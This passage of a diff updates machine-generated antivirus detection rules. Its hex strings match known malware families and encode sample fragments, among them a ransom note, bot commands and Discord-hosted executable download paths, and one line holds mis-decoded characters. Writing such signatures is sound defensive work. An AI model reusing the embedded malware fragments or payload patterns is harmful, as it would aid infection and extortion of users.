00 78 00 36 00 34 00 01 00 7c 01 28 00 69 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 3d } //108 + $a_54_9 = {56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 0f 01 00 50 00 50 00 03 00 21 23 54 45 4c 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 69 6b 69 68 61 6b 69 2e 41 2e 4d 52 21 4d 54 42 00 14 00 4f 01 03 85 a8 fb ff ff 0f b6 48 } //16931 + $a_8b_10 = {d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fe 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fd 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 08 33 ca 8b 95 d0 fb ff ff 03 95 a8 fb ff ff 88 0a 0a 00 51 01 f3 ab 8b 45 10 8b 4d 08 03 08 89 4d f8 8b 45 f8 89 45 ec 0f b7 45 14 c1 f8 08 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 0f b7 45 14 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 8b 45 10 8b 08 83 c1 02 8b 55 10 89 0a 32 00 38 01 0f b6 08 c1 e1 10 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 ec 0f b6 08 c1 e1 08 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 } //13311 + $a_00_12 = {01 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*27905+(#a_6f_4 & 1)*23553+(#a_61_5 & 1)*24936+(#a_46_7 & 1)*5632+(#a_20_8 & 1)*19828+(#a_54_9 & 1)*16931+(#a_07_10 & 1)*1799+(#a_90_11 & 1)*-25087+(#a_94_12 & 1)*3+(#a_00_13 & 1)*108) >=14 + ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*27905+(#a_6f_4 & 1)*23553+(#a_61_5 & 1)*24936+(#a_46_7 & 1)*5632+(#a_20_8 & 1)*19828+(#a_54_9 & 1)*16931+(#a_8b_10 & 1)*13311+(#a_00_12 & 1)*1) >=14 } -rule _InfrastructureShared_16650{ +rule _InfrastructureShared_17742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 09 00 21 " strings : $a_46_0 = {59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 44 61 72 6b 43 6f 6d 65 74 5f 33 00 05 00 0e 01 23 42 4f 54 23 55 52 4c 55 70 64 61 74 65 05 00 1e 01 43 6f } //16675 $a_6e_1 = {20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 21 05 00 12 01 4d 00 55 00 54 00 45 00 58 00 4e 00 41 00 4d 00 45 00 05 00 0e 01 4e 00 45 00 54 00 44 00 41 00 54 00 41 00 04 00 16 01 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 04 00 0f 01 25 73 2c 20 } //28013 - $a_73_2 = {49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 10 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //27715 - $a_53_3 = {4c 2f 4b 72 79 70 74 69 6b 2e 41 42 53 4e 21 4d 54 42 00 01 00 e1 02 8e 69 5d 91 9e 11 90 01 01 07 07 9e 07 17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 0c 2b 90 01 01 08 11 90 01 01 07 94 58 11 90 01 01 07 94 58 20 90 01 03 00 } //14958 - $a_90_4 = {01 07 94 13 90 01 01 11 90 01 01 07 11 90 01 01 08 } //3165 - $a_90_5 = {01 08 11 90 01 01 9e 07 17 58 0b 07 20 90 01 03 00 } //-24940 - $a_01_6 = {16 } //-28622 - $a_0c_7 = {0a 2b 90 01 01 06 17 58 0a 06 20 90 01 03 00 5d 0a 08 11 90 01 01 06 94 58 0c 08 20 90 01 03 00 5d 0c 11 90 01 } //2853 - $a_13_8 = {01 01 11 90 01 01 06 11 90 01 01 08 94 9e 11 90 01 01 08 11 90 01 01 9e 11 90 01 01 11 90 01 01 06 94 11 90 01 01 08 94 58 20 90 01 03 00 5d 94 0d 11 90 01 01 07 03 07 91 09 61 d2 9c 07 17 58 0b 07 03 8e 69 32 90 01 01 11 90 00 00 00 78 10 01 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4a 75 73 74 50 6c 75 67 49 74 2e 42 21 64 6c 6c 00 01 00 5e 01 49 00 4e 00 49 00 2d 00 66 00 69 00 6c 00 65 00 3a 00 } //1537 + $a_73_2 = {49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 0f 01 00 50 00 50 00 03 00 21 23 54 45 4c 3a 57 6f 72 6d 3a } //27715 + $a_33_3 = {2f 52 69 6b 69 68 61 6b 69 2e 41 2e 4d 52 21 4d 54 42 00 14 00 4f 01 03 85 a8 fb ff ff 0f b6 48 ff 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fe 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fd 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 08 33 ca 8b 95 d0 fb ff ff 03 95 a8 fb ff ff 88 0a 0a 00 51 01 f3 ab 8b 45 } //26967 + $a_08_4 = {03 08 89 4d f8 8b 45 f8 89 45 ec 0f b7 45 14 c1 f8 08 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 0f b7 45 14 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 8b 45 10 8b 08 83 c1 02 8b 55 10 89 0a 32 00 38 01 } //-29936 + $a_c1_5 = {10 8b 55 14 0b 0a 8b 45 } //-18929 + $a_8b_6 = {ec 83 c1 01 89 4d ec 8b } //-30444 + $a_b6_7 = {c1 e1 08 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d } //-5051 + $a_01_8 = {89 4d ec 8b 45 ec 00 00 78 10 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 42 53 4e 21 4d 54 42 00 01 00 e1 02 8e 69 5d 91 9e 11 90 01 01 07 07 9e 07 17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 0c 2b 90 01 01 08 11 90 01 01 07 94 58 11 90 01 01 07 94 58 20 90 01 03 00 5d 0c 11 90 01 01 07 94 13 90 01 01 11 90 01 01 07 11 90 01 01 08 94 9e 11 90 01 01 08 11 90 01 01 9e 07 17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 25 0c 0a 2b 90 01 01 06 17 58 0a 06 20 90 01 03 00 5d 0a 08 11 90 01 01 06 94 58 0c 08 20 90 } //-31764 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28013+(#a_73_2 & 1)*27715+(#a_53_3 & 1)*14958+(#a_90_4 & 1)*3165+(#a_90_5 & 1)*-24940+(#a_01_6 & 1)*-28622+(#a_0c_7 & 1)*2853+(#a_13_8 & 1)*1537) >=20 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28013+(#a_73_2 & 1)*27715+(#a_33_3 & 1)*26967+(#a_08_4 & 1)*-29936+(#a_c1_5 & 1)*-18929+(#a_8b_6 & 1)*-30444+(#a_b6_7 & 1)*-5051+(#a_01_8 & 1)*-31764) >=20 } -rule _InfrastructureShared_16651{ +rule _InfrastructureShared_17743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 03 00 21 " + + strings : + $a_4c_0 = {57 6f 72 6d 3a 57 69 6e 33 32 2f 52 69 6b 69 68 61 6b 69 2e 41 2e 4d 52 21 4d 54 42 00 14 00 4f 01 03 85 a8 fb ff ff 0f b6 48 ff 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fe 33 d1 8b 85 d0 fb ff ff } //21539 + $a_fb_1 = {ff 0f b6 48 fd 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 08 33 ca 8b 95 d0 fb ff ff 03 95 a8 fb ff ff 88 0a 0a 00 51 01 f3 ab 8b 45 10 8b 4d 08 03 08 89 4d f8 8b 45 f8 89 45 ec 0f b7 45 14 c1 f8 08 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 0f b7 45 14 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 8b 45 10 8b 08 83 c1 02 8b 55 10 89 0a 32 00 38 01 0f b6 08 c1 e1 10 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 ec 0f b6 08 c1 e1 08 8b 55 14 0b 0a 8b 45 } //-31485 + $a_8b_2 = {ec 83 c1 01 89 4d ec 8b } //-30444 + condition: + ((#a_4c_0 & 1)*21539+(#a_fb_1 & 1)*-31485+(#a_8b_2 & 1)*-30444) >=80 + +} +rule _InfrastructureShared_17744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -196489,7 +209616,7 @@ rule _InfrastructureShared_16651{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16652{ +rule _InfrastructureShared_17745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -196499,7 +209626,7 @@ rule _InfrastructureShared_16652{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_16653{ +rule _InfrastructureShared_17746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -196511,7 +209638,7 @@ rule _InfrastructureShared_16653{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8307+(#a_69_2 & 1)*28261) >=2 } -rule _InfrastructureShared_16654{ +rule _InfrastructureShared_17747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -196526,7 +209653,7 @@ rule _InfrastructureShared_16654{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*8736+(#a_00_2 & 1)*10617+(#a_74_3 & 1)*26625+(#a_65_4 & 1)*12108+(#a_72_5 & 1)*17266) >=2 } -rule _InfrastructureShared_16655{ +rule _InfrastructureShared_17748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -196545,7 +209672,7 @@ rule _InfrastructureShared_16655{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25939+(#a_72_2 & 1)*17266+(#a_44_3 & 1)*21087+(#a_24_4 & 1)*-28668+(#a_c0_5 & 1)*1025+(#a_41_6 & 1)*11617+(#a_09_7 & 1)*6544+(#a_2d_8 & 1)*31277+(#a_00_10 & 1)*78) >=2 } -rule _InfrastructureShared_16656{ +rule _InfrastructureShared_17749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196557,7 +209684,7 @@ rule _InfrastructureShared_16656{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28651+(#a_15_2 & 1)*14338) >=3 } -rule _InfrastructureShared_16657{ +rule _InfrastructureShared_17750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196569,7 +209696,7 @@ rule _InfrastructureShared_16657{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24930+(#a_00_2 & 1)*109) >=3 } -rule _InfrastructureShared_16658{ +rule _InfrastructureShared_17751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -196582,7 +209709,7 @@ rule _InfrastructureShared_16658{ ((#a_70_0 & 1)*16675+(#a_6e_1 & 1)*28001+(#a_75_2 & 1)*21280+(#a_72_3 & 1)*25966) >=3 } -rule _InfrastructureShared_16659{ +rule _InfrastructureShared_17752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -196595,7 +209722,7 @@ rule _InfrastructureShared_16659{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25712+(#a_69_2 & 1)*17509+(#a_00_4 & 1)*49) >=3 } -rule _InfrastructureShared_16660{ +rule _InfrastructureShared_17753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -196608,7 +209735,7 @@ rule _InfrastructureShared_16660{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*57+(#a_00_4 & 1)*38+(#a_67_5 & 1)*25955) >=3 } -rule _InfrastructureShared_16661{ +rule _InfrastructureShared_17754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 02 00 0b 00 21 " @@ -196626,7 +209753,7 @@ rule _InfrastructureShared_16661{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*13313+(#a_42_2 & 1)*272+(#a_30_3 & 1)*12357+(#a_72_4 & 1)*14918+(#a_38_5 & 1)*13877+(#a_00_7 & 1)*97+(#a_54_8 & 1)*18467+(#a_00_10 & 1)*104) >=2 } -rule _InfrastructureShared_16662{ +rule _InfrastructureShared_17755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196638,7 +209765,7 @@ rule _InfrastructureShared_16662{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12147+(#a_00_3 & 1)*32) >=4 } -rule _InfrastructureShared_16663{ +rule _InfrastructureShared_17756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196649,7 +209776,7 @@ rule _InfrastructureShared_16663{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104) >=4 } -rule _InfrastructureShared_16664{ +rule _InfrastructureShared_17757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196661,24 +209788,35 @@ rule _InfrastructureShared_16664{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*29807+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_16665{ +rule _InfrastructureShared_17758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 67 65 6e 65 72 61 6c 00 01 00 18 01 25 73 20 53 6c 6f 74 20 3c 25 69 3e 20 6c 6f 67 67 65 64 20 6f 75 74 2e 01 00 22 01 25 73 20 4e 6f 20 75 73 65 72 20 6c 6f 67 67 65 64 20 69 6e 20 61 74 20 73 6c 6f 74 3a 20 3c 25 69 3e 01 00 1e 00 } //18467 $a_20_1 = {70 74 69 6d 65 3a 20 25 73 2c 20 42 6f 74 20 55 70 74 69 6d 65 3a 20 25 73 01 00 17 00 25 73 20 42 6f 74 20 69 6e 73 74 61 6c 6c 65 64 20 6f 6e 3a 20 25 73 01 00 14 00 47 6f 20 66 75 63 6b 20 79 6f 75 72 73 65 6c 66 20 25 73 2e 01 00 13 00 25 73 20 4d 61 69 6e 20 62 6f 74 20 74 68 72 65 61 64 2e 01 00 19 00 25 73 20 52 65 63 6f 72 64 20 75 70 74 69 6d 65 20 } //28482 - $a_63_2 = {65 72 2e 01 00 26 00 52 65 6d 6f 76 65 20 63 6f 6d 6d 61 6e 64 20 72 65 63 65 69 76 65 64 20 66 72 6f 6d 3a 20 25 73 21 25 73 40 25 73 00 00 78 10 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6e 64 44 61 79 65 72 2e 41 00 01 00 32 01 47 65 74 43 6f 6d 70 75 74 65 } //26723 - $a_6d_3 = {41 00 43 72 65 61 74 65 54 68 72 65 61 64 00 53 65 6e 64 4d 65 73 73 61 67 65 54 69 6d 65 6f 75 74 41 00 01 00 20 00 64 30 39 66 32 33 34 30 38 31 38 35 31 31 64 33 39 36 66 36 61 61 66 38 34 34 63 37 65 33 32 35 01 00 20 00 41 35 31 32 35 34 38 45 37 36 39 35 34 42 36 45 39 32 43 32 31 30 } //20082 - $a_31_4 = {36 31 35 42 30 01 00 20 00 35 46 39 39 43 31 36 34 32 41 32 46 34 65 30 33 38 35 30 37 32 31 42 34 46 35 44 37 43 33 46 38 01 00 20 00 32 37 62 62 32 30 66 64 } //13621 - $a_31_5 = {35 65 34 62 65 65 33 64 62 33 39 64 64 64 36 65 36 34 63 01 00 20 00 35 30 31 34 44 38 46 41 36 44 43 41 34 30 62 36 38 46 41 36 32 36 44 38 31 38 33 36 36 36 45 42 00 00 78 10 01 00 07 00 07 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 22 01 5c 61 74 } //13156 - $a_64_6 = {77 6e 6c 6f 61 64 65 72 5c 64 6f 77 6e 6c 6f 61 64 65 72 5f 66 69 6e 61 6c 5c 02 00 1d 01 5c 64 } //31343 - $a_6c_7 = {61 64 65 72 5c 64 6f 77 6e 6c 6f 61 64 65 72 64 6c 67 2e 63 70 70 02 00 2a 01 41 00 74 00 6f 00 5a 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2c 00 46 00 61 00 69 00 6c 00 65 00 64 00 01 00 2c 01 2f 00 67 00 61 00 5f 00 73 00 74 00 61 00 74 00 2f 00 73 00 74 00 61 00 74 00 2e 00 70 00 68 00 70 00 3f 00 73 00 } //30575 + $a_63_2 = {65 72 2e 01 00 26 00 52 65 6d 6f 76 65 20 63 6f 6d 6d 61 6e 64 20 72 65 63 65 69 76 65 64 20 66 72 6f 6d 3a 20 25 73 21 25 73 40 25 73 00 00 78 10 01 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 50 50 47 21 4d 54 42 00 04 00 68 81 01 59 6f 75 20 41 72 65 } //26723 + $a_63_3 = {65 64 2c 20 59 6f 75 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 20 6e 6f 77 20 6f 75 72 73 2c 20 59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 6e 6f 77 20 65 6e 63 72 79 70 74 65 64 2c 20 4e 6f 77 20 73 74 61 72 74 20 68 75 66 66 69 6e 67 20 74 68 65 20 63 6f 70 69 75 6d 01 00 4b 02 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 } //17952 + $a_00_5 = {63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 90 02 70 2e 00 65 00 78 00 65 00 90 00 01 } //112 + $a_63_6 = {6e 2e } //10240 n. + $a_63_7 = {72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 90 02 70 2e 65 78 65 90 00 00 00 78 10 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6e 64 44 61 79 65 72 2e 41 00 01 00 32 01 47 65 74 43 6f 6d 70 75 74 65 72 4e 61 6d 65 41 00 43 72 65 61 74 65 54 68 72 65 61 64 00 53 65 6e 64 4d 65 73 73 } //26980 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28482+(#a_63_2 & 1)*26723+(#a_6d_3 & 1)*20082+(#a_31_4 & 1)*13621+(#a_31_5 & 1)*13156+(#a_64_6 & 1)*31343+(#a_6c_7 & 1)*30575) >=4 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28482+(#a_63_2 & 1)*26723+(#a_63_3 & 1)*17952+(#a_00_5 & 1)*112+(#a_63_6 & 1)*10240+(#a_63_7 & 1)*26980) >=4 } -rule _InfrastructureShared_16666{ +rule _InfrastructureShared_17759{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 50 50 47 21 4d 54 42 00 04 00 68 81 01 59 6f 75 20 41 72 65 20 46 75 63 6b 65 64 2c 20 59 6f 75 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 20 6e 6f } //21539 + $a_75_1 = {73 2c 20 59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 6e 6f 77 20 65 6e 63 72 79 70 74 65 64 2c 20 4e 6f 77 20 73 74 61 72 74 20 68 75 66 66 69 6e 67 20 74 68 65 20 63 6f 70 69 75 6d 01 00 4b 02 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 } //8311 + $a_00_2 = {6d 00 65 00 6e 00 74 00 73 00 2f 00 90 02 70 2e 00 65 00 78 00 65 00 90 00 01 00 28 02 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 90 02 70 2e 65 78 65 90 00 00 00 78 10 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6e 64 44 } //99 + condition: + ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*8311+(#a_00_2 & 1)*99) >=5 + +} +rule _InfrastructureShared_17760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -196693,7 +209831,7 @@ rule _InfrastructureShared_16666{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*65+(#a_39_2 & 1)*25600+(#a_32_3 & 1)*12857+(#a_33_4 & 1)*25954+(#a_65_5 & 1)*24943) >=6 } -rule _InfrastructureShared_16667{ +rule _InfrastructureShared_17761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -196708,7 +209846,7 @@ rule _InfrastructureShared_16667{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*27748+(#a_6f_2 & 1)*17238+(#a_00_3 & 1)*7+(#a_6a_4 & 1)*29268+(#a_6d_5 & 1)*13680) >=7 } -rule _InfrastructureShared_16668{ +rule _InfrastructureShared_17762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -196724,7 +209862,7 @@ rule _InfrastructureShared_16668{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*18033+(#a_01_2 & 1)*25955+(#a_62_3 & 1)*29532+(#a_69_4 & 1)*29295+(#a_61_5 & 1)*27765+(#a_65_6 & 1)*25710) >=7 } -rule _InfrastructureShared_16669{ +rule _InfrastructureShared_17763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -196734,29 +209872,45 @@ rule _InfrastructureShared_16669{ $a_69_2 = {74 25 5c 67 65 6f 64 65 73 69 63 73 5c 53 6b 6f 72 74 65 36 34 01 00 18 81 01 52 65 6c 61 74 69 76 69 73 6d 65 6e 5c 50 61 61 62 65 67 79 6e 64 65 73 00 00 78 10 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 51 30 31 21 4d 54 42 00 01 00 25 81 01 23 5c 6b 61 62 65 6c 6c 6e 67 64 65 73 5c } //25959 $a_65_3 = {70 6f 72 65 74 5c 6b 6f 6e 74 6f 72 68 6f 6c 64 65 74 01 00 1e 81 01 25 53 65 6d 69 64 6f 6d 65 73 74 69 63 34 35 25 5c 48 61 65 6d 61 70 68 79 73 61 6c 69 73 01 00 27 81 01 5c 70 72 69 6d 72 70 72 6f 63 65 73 5c 48 75 6e 64 72 65 64 6b 72 6f 6e 65 73 65 64 6c 65 6e 73 31 34 33 2e 6c 6e 6b 01 00 1e } //25964 $a_61_4 = {6f 72 69 73 74 5c 6d 65 73 6f 6d 6f 72 70 68 5c 6d 65 73 65 70 69 6d 65 72 61 6c 01 00 18 81 01 38 38 5c 6f 72 69 6f 6e 5c 4e 65 74 6b 61 62 6c 65 72 6e 65 2e 50 69 65 01 00 10 81 01 6a 69 6d 6d 69 65 64 20 62 65 6e 65 61 70 65 64 01 00 14 81 01 66 6a 72 74 65 64 65 73 20 6b 6f 6d 70 6f 6e 69 73 } //385 - $a_00_5 = {00 78 10 01 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 48 4d 52 31 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 79 61 6e 64 65 78 2d 62 } //25972 - $a_73_6 = {72 01 00 14 80 01 61 76 61 73 74 2d 66 72 65 65 2d 61 6e 74 69 76 69 72 75 73 01 00 0e 80 01 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 01 00 36 80 01 74 72 61 63 6b 2e 77 67 2d 61 66 66 2e 63 6f 6d 2f 63 6c 69 63 6b 3f 70 69 64 3d 31 35 34 36 26 6f 66 66 65 72 5f 69 64 3d 32 36 26 73 75 62 31 3d 77 67 74 31 33 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 } //28530 + $a_00_5 = {00 78 10 01 00 07 00 07 00 09 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 44 61 6b 75 7a 65 72 00 02 00 1e 01 57 00 55 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 43 00 61 00 63 00 68 00 65 00 02 00 3c 01 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 47 00 4c 00 4f 00 42 00 41 00 4c 00 52 00 4f 00 4f 00 54 00 5c 00 52 } //25972 砀Đ܀܀ऀ℀䄣䙌䔺灸潬瑩场湩㐶䐯歡穵牥ȀḀ圁唀䐀漀眀渀氀漀愀搀䌀愀挀栀攀Ȁ㰀䜁氀漀戀愀氀尀䜀䰀伀䈀䄀䰀刀伀伀吀尀刀 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29537+(#a_69_2 & 1)*25959+(#a_65_3 & 1)*25964+(#a_61_4 & 1)*385+(#a_00_5 & 1)*25972+(#a_73_6 & 1)*28530) >=7 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29537+(#a_69_2 & 1)*25959+(#a_65_3 & 1)*25964+(#a_61_4 & 1)*385+(#a_00_5 & 1)*25972) >=7 } -rule _InfrastructureShared_16670{ +rule _InfrastructureShared_17764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 51 30 31 21 4d 54 42 00 01 00 25 81 01 23 5c 6b 61 62 65 6c 6c 6e 67 64 65 73 5c 6c 65 64 65 73 70 6f 72 65 74 5c 6b 6f 6e 74 6f 72 68 6f 6c 64 65 74 01 00 1e 81 01 25 53 65 6d 69 64 6f 6d 65 } //18467 $a_63_1 = {35 25 5c 48 61 65 6d 61 70 68 79 73 61 6c 69 73 01 00 27 81 01 5c 70 72 69 6d 72 70 72 6f 63 65 73 5c 48 75 6e 64 72 65 64 6b 72 6f 6e 65 73 65 64 6c 65 6e 73 31 34 33 2e 6c 6e 6b 01 00 1e 81 01 63 61 6c 6f 72 69 73 74 5c 6d 65 73 6f 6d 6f 72 70 68 5c 6d 65 73 65 70 69 6d 65 72 61 6c 01 00 18 81 01 38 38 5c 6f 72 } //29811 - $a_5c_2 = {65 74 6b 61 62 6c 65 72 6e 65 2e 50 69 65 01 00 10 81 01 6a 69 6d 6d 69 65 64 20 62 65 6e 65 61 70 65 64 01 00 14 81 01 66 6a 72 74 65 64 65 73 20 6b 6f 6d 70 6f 6e 69 73 74 65 72 00 00 78 10 01 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 48 4d 52 31 00 01 00 } //28521 - $a_6f_3 = {66 } //-32757 f - $a_73_4 = {6f 77 6e 01 00 0e 80 01 